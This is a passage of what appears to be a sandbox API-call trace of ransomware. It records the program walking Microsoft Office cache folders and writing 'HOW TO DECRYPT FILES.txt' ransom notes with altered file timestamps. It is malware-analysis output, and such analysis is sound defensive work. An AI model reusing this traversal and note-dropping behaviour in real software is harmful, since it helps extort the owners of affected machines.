lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.737] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0057.737] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.737] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VisioLR.cab") returned -1 [0057.737] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VisioLR.cab") returned -1 [0057.737] lstrcmpiA (lpString1="", lpString2="VisioLR.cab") returned -1 [0057.737] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="Setup.xml" [0057.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" [0057.738] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="" [0057.738] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.738] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.738] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="VisioLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" [0057.738] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x780074, dwReserved1=0x74, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0057.738] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.738] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VisioMUI.msi") returned -1 [0057.738] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VisioMUI.msi") returned -1 [0057.738] lstrcmpiA (lpString1="", lpString2="VisioMUI.msi") returned -1 [0057.738] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned="VisioLR.cab" [0057.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" [0057.738] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="" [0057.738] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.738] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.738] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="VisioMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" [0057.739] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x780074, dwReserved1=0x74, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0057.739] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.739] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VisioMUI.xml") returned -1 [0057.739] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VisioMUI.xml") returned -1 [0057.739] lstrcmpiA (lpString1="", lpString2="VisioMUI.xml") returned -1 [0057.739] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned="VisioMUI.msi" [0057.739] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" [0057.739] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="" [0057.739] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.739] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.739] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="VisioMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" [0057.739] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x780074, dwReserved1=0x74, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0057.739] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.739] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0057.739] lstrcmpA (lpString1=".", lpString2="{90140000-00A1-0409-1000-0000000FF1CE}-C") returned -1 [0057.739] lstrcmpA (lpString1="..", lpString2="{90140000-00A1-0409-1000-0000000FF1CE}-C") returned -1 [0057.739] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.739] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-00A1-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" [0057.740] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.743] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.743] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.743] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.743] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.743] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0057.743] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.743] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OneNoteMUI.msi") returned -1 [0057.743] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OneNoteMUI.msi") returned -1 [0057.743] lstrcmpiA (lpString1="", lpString2="OneNoteMUI.msi") returned -1 [0057.743] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.743] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" [0057.743] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="" [0057.743] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.743] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.743] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.745] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.745] CloseHandle (hObject=0x88) returned 1 [0057.745] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="OneNoteMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" [0057.746] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0057.746] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.746] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OneNoteMUI.xml") returned -1 [0057.746] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OneNoteMUI.xml") returned -1 [0057.746] lstrcmpiA (lpString1="", lpString2="OneNoteMUI.xml") returned -1 [0057.746] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned="OneNoteMUI.msi" [0057.746] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" [0057.746] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="" [0057.746] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.746] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.746] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="OneNoteMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" [0057.746] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0057.746] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.746] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OnoteLR.cab") returned -1 [0057.746] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OnoteLR.cab") returned -1 [0057.747] lstrcmpiA (lpString1="", lpString2="OnoteLR.cab") returned -1 [0057.747] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned="OneNoteMUI.xml" [0057.747] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" [0057.747] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="" [0057.747] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.747] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.747] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="OnoteLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" [0057.747] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.747] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.747] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.747] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.747] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.747] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned="OnoteLR.cab" [0057.747] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" [0057.747] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="" [0057.747] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.747] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.747] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.748] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.748] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.748] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0057.748] lstrcmpA (lpString1=".", lpString2="{90140000-00B4-0409-1000-0000000FF1CE}-C") returned -1 [0057.748] lstrcmpA (lpString1="..", lpString2="{90140000-00B4-0409-1000-0000000FF1CE}-C") returned -1 [0057.748] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.748] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-00B4-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" [0057.748] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.752] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.752] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.752] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.753] 